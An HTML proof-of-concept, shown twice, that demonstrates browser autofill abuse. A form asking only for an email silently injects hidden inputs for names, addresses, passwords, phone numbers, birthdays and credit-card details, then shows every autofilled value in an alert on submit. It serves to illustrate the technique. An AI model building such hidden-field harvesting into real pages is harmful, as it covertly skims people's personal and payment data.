toddmedema/injection.html

## injection.html
<html>
<head>
</head>
<body>
  <form id="form" action="/" method="post">
    <div class="inputarea">
      <h1>Leave your email to obtain 5 free articles</h1>
      <label for="email">Email</label>
      <input type="email" name="email" id="email" placeholder="name@example.com" required autocomplete="email" class="input" />
      <p><input type="submit" id="submit" class="button" value="Send!"></p>
    </div>
  </form>

  <script>
  // from https://gist.githubusercontent.com/haampie/3ba6ebb5fd9f71d2f8e9fb841e52740d/raw/d2278671539ab5987a184603b0b3dd9942ba66e0/inject.js
  var autocompletes = ['name', 'honorific-prefix', 'given-name',
    'additional-name', 'family-name', 'honorific-suffix',
    'nickname', 'username', 'new-password',
    'current-password', 'organization-title', 'organization',
    'street-address', 'address-line1', 'address-line2',
    'address-line3', 'address-level4', 'address-level3',
    'address-level2', 'address-level1', 'country',
    'country-name', 'postal-code', 'cc-name', 'cc-given-name',
    'cc-additional-name', 'cc-family-name', 'cc-exp',
    'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
    'transaction-currency', 'transaction-amount',
    'language', 'bday', 'bday-day', 'bday-month',
    'bday-year', 'sex', 'url', 'photo', 'tel',
    'tel-country-code', 'tel-national',
    'tel-area-code', 'tel-local', 'tel-local-prefix',
    'tel-local-suffix', 'tel-extension', 'impp'
  ];

  var emailField = document.getElementById('email');
  emailField.addEventListener('focus', function() {
    var wrap = autocompletes.reduce(function(wrapper, field) {
      var input = document.createElement('input');

      // Make them not focussable
      input.tabIndex = -1;
      input.autocomplete = field;

      wrapper.appendChild(input);
      return wrapper;
    }, document.createElement('div'));

    // Hide the wrapper
    wrap.classList.add('hidden');
    wrap.style.display = 'none';
    form.appendChild(wrap);

    // Inject the autocompletes once
    this.removeEventListener('focus', arguments.callee);
  });

  var form = document.getElementById('form');
  form.addEventListener('submit', function() {
    var formValues = [];
    for (var i = 0; i < form.elements.length - 1; i++) {
     var e = form.elements[i];
     if (e.value !== '') {
      formValues.push(e.name + ': ' + e.value);
     }
    }
    alert(formValues.join(','));
    return false;
  });
</script>
</body>
</html>
	<html>
	<head>
	</head>
	<body>
	<form id="form" action="/" method="post">
	<div class="inputarea">
	<h1>Leave your email to obtain 5 free articles</h1>
	<label for="email">Email</label>
	<input type="email" name="email" id="email" placeholder="name@example.com" required autocomplete="email" class="input" />
	<p><input type="submit" id="submit" class="button" value="Send!"></p>
	</div>
	</form>

	<script>
	// from https://gist.githubusercontent.com/haampie/3ba6ebb5fd9f71d2f8e9fb841e52740d/raw/d2278671539ab5987a184603b0b3dd9942ba66e0/inject.js
	var autocompletes = ['name', 'honorific-prefix', 'given-name',
	'additional-name', 'family-name', 'honorific-suffix',
	'nickname', 'username', 'new-password',
	'current-password', 'organization-title', 'organization',
	'street-address', 'address-line1', 'address-line2',
	'address-line3', 'address-level4', 'address-level3',
	'address-level2', 'address-level1', 'country',
	'country-name', 'postal-code', 'cc-name', 'cc-given-name',
	'cc-additional-name', 'cc-family-name', 'cc-exp',
	'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
	'transaction-currency', 'transaction-amount',
	'language', 'bday', 'bday-day', 'bday-month',
	'bday-year', 'sex', 'url', 'photo', 'tel',
	'tel-country-code', 'tel-national',
	'tel-area-code', 'tel-local', 'tel-local-prefix',
	'tel-local-suffix', 'tel-extension', 'impp'
	];

	var emailField = document.getElementById('email');
	emailField.addEventListener('focus', function() {
	var wrap = autocompletes.reduce(function(wrapper, field) {
	var input = document.createElement('input');

	// Make them not focussable
	input.tabIndex = -1;
	input.autocomplete = field;

	wrapper.appendChild(input);
	return wrapper;
	}, document.createElement('div'));

	// Hide the wrapper
	wrap.classList.add('hidden');
	wrap.style.display = 'none';
	form.appendChild(wrap);

	// Inject the autocompletes once
	this.removeEventListener('focus', arguments.callee);
	});

	var form = document.getElementById('form');
	form.addEventListener('submit', function() {
	var formValues = [];
	for (var i = 0; i < form.elements.length - 1; i++) {
	var e = form.elements[i];
	if (e.value !== '') {
	formValues.push(e.name + ': ' + e.value);
	}
	}
	alert(formValues.join(','));
	return false;
	});
	</script>
	</body>
	</html>